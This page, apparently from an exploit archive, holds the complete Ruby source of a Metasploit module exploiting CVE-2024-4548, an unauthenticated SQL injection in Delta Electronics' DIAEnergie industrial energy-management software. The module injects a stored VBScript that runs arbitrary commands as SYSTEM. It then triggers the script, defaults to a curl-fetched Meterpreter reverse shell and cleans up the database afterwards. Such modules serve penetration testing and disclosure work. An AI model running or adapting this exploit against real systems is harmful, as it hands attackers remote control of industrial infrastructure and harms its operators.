Headline
DIAEnergie 1.10 SQL Injection
This Metasploit module exploit a remote SQL injection vulnerability in the CBEC service of DIAEnergie versions 1.10 and below from Delta Electronics. The commands will get executed in the context of NT AUTHORITY\SYSTEM.
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'DIAEnergie SQL Injection (CVE-2024-4548)', 'Description' => %q{ SQL injection vulnerability in DIAEnergie <= v1.10 from Delta Electronics. This vulnerability can be exploited by an unauthenticated remote attacker to gain arbitrary code execution through a SQL injection vulnerability in the CEBC service. The commands will get executed in the context of NT AUTHORITY\SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ 'Michael Heinzl', # MSF exploit 'Tenable' # Discovery & PoC ], 'References' => [ [ 'URL', 'https://www.tenable.com/security/research/tra-2024-13'], [ 'CVE', '2024-4548'] ], 'DisclosureDate' => '2024-05-06', 'Platform' => 'win', 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Windows_Fetch', { 'Arch' => [ ARCH_CMD ], 'Platform' => 'win', 'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL', 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp' }, 'Type' => :win_fetch } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(928) ] ) end # Determine if the DIAEnergie version is vulnerable def check begin connect sock.put 'Who is it?' res = sock.get || '' rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e vprint_error(e.message) return Exploit::CheckCode::Unknown ensure disconnect end if res.empty? vprint_status('Received an empty response.') return Exploit::CheckCode::Unknown end vprint_status('Who is it response: ' + res.to_s) version_pattern = /\b\d+\.\d+\.\d+\.\d+\b/ version = res.match(version_pattern) if version[0].nil? Exploit::CheckCode::Detected end vprint_status('Version retrieved: ' + version[0]) unless Rex::Version.new(version) <= Rex::Version.new('1.10.1.8610') return CheckCode::Safe end return CheckCode::Appears end def exploit execute_command(payload.encoded) end def execute_command(cmd) scname = Rex::Text.rand_text_alphanumeric(5..10).to_s vprint_status('Using random script name: ' + scname) year = rand(2024..2026) month = sprintf('%02d', rand(1..12)) day = sprintf('%02d', rand(1..29)) random_date = "#{year}-#{month}-#{day}" vprint_status('Using random date: ' + random_date) hour = sprintf('%02d', rand(0..23)) minute = sprintf('%02d', rand(0..59)) second = sprintf('%02d', rand(0..59)) random_time = "#{hour}:#{minute}:#{second}" vprint_status('Using random time: ' + random_time) # Inject payload begin print_status('Sending SQL injection...') connect vprint_status("RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--") sock.put "RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--" res = sock.get unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.' fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s) end vprint_status('Injection - Expected response received: ' + res.to_s) disconnect # Trigger print_status('Triggering script execution...') connect sock.put "RecalculateScript~#{random_date} #{random_time}~#{random_date} #{random_time}~1" res = sock.get unless res.to_s == 'Recalculate Script Start!' fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s) end vprint_status('Trigger - Expected response received: ' + res.to_s) disconnect print_good('Script successfully injected, check thy shell.') ensure # Cleanup print_status('Cleaning up database...') connect sock.put "RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);DELETE FROM DIAEnergie.dbo.DIAE_script WHERE name='#{scname}';--" res = sock.get unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.' fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s) end vprint_status('Cleanup - Expected response received: ' + res.to_s) disconnect end endend